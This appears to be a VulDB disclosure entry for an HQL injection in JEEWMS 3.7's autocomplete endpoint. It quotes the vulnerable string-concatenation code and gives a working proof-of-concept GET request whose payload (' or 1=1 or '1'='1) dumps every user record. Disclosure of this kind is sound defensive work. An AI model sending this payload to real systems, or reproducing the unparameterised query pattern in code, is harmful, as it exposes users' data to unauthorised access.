| Title | erzhongxmu JEEWMS 3.7 SQL Injection |
|---|
| Description | JEEWMS v3.7 commonController.getAutoList (自动补全/autocomplete interface) concatenates user-supplied parameters directly into an HQL query without parameterization, allowing authenticated attackers to alter query logic and enumerate arbitrary mapped-entity data.
Vulnerable code (CommonServiceImpl.getAutoList, line 387):
sb.append(" or " + searchField + " like '%" + autocomplete.getTrem() + "%' ");
String hql = "from " + autocomplete.getEntityName() + " where 1!=1 " + sb.toString();
The trem, searchField and entityName request parameters are all attacker-controlled (Spring binds the Autocomplete object directly from the request; trem is only URL-decoded, single quotes are NOT filtered). This is a first-order HQL injection.
Verified live: a request with trem=admin returns 1 user, while trem=' or 1=1 or '1'='1 returns all 5 users in the JSON "rows" array.
PoC:
GET /commonController.do?getAutoList&entityName=org.jeecgframework.web.system.pojo.base.TSUser&searchField=userName&labelField=userName&valueField=userName&trem=' or 1=1 or '1'='1&curPage=1&maxRows=10
-> response contains all 5 TSUser records (admin, 123, caiwu001, cangku001, yunying001)
GET /commonController.do?getAutoList&entityName=org.jeecgframework.web.system.pojo.base.TSUser&searchField=userName&labelField=userName&valueField=userName&trem=admin&curPage=1&maxRows=10
-> response contains only 1 record
Vulnerable code: src/main/java/org/jeecgframework/core/common/service/impl/CommonServiceImpl.java:387 |
|---|
| Source | ⚠️ https://github.com/erzhongxmu/JEEWMS |
|---|
| User | test996 (UID 101012) |
|---|
| Submission | 09/04/2026 11:58 (1 month ago) |
|---|
| Moderation | 10/11/2026 10:07 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 416561 [erzhongxmu JEEWMS up to 2026.09.27-W39 Autocomplete CommonServiceImpl.java CommonServiceImpl.getAutoList trem/searchField/entityName sql injection] |
|---|
| Points | 20 |
|---|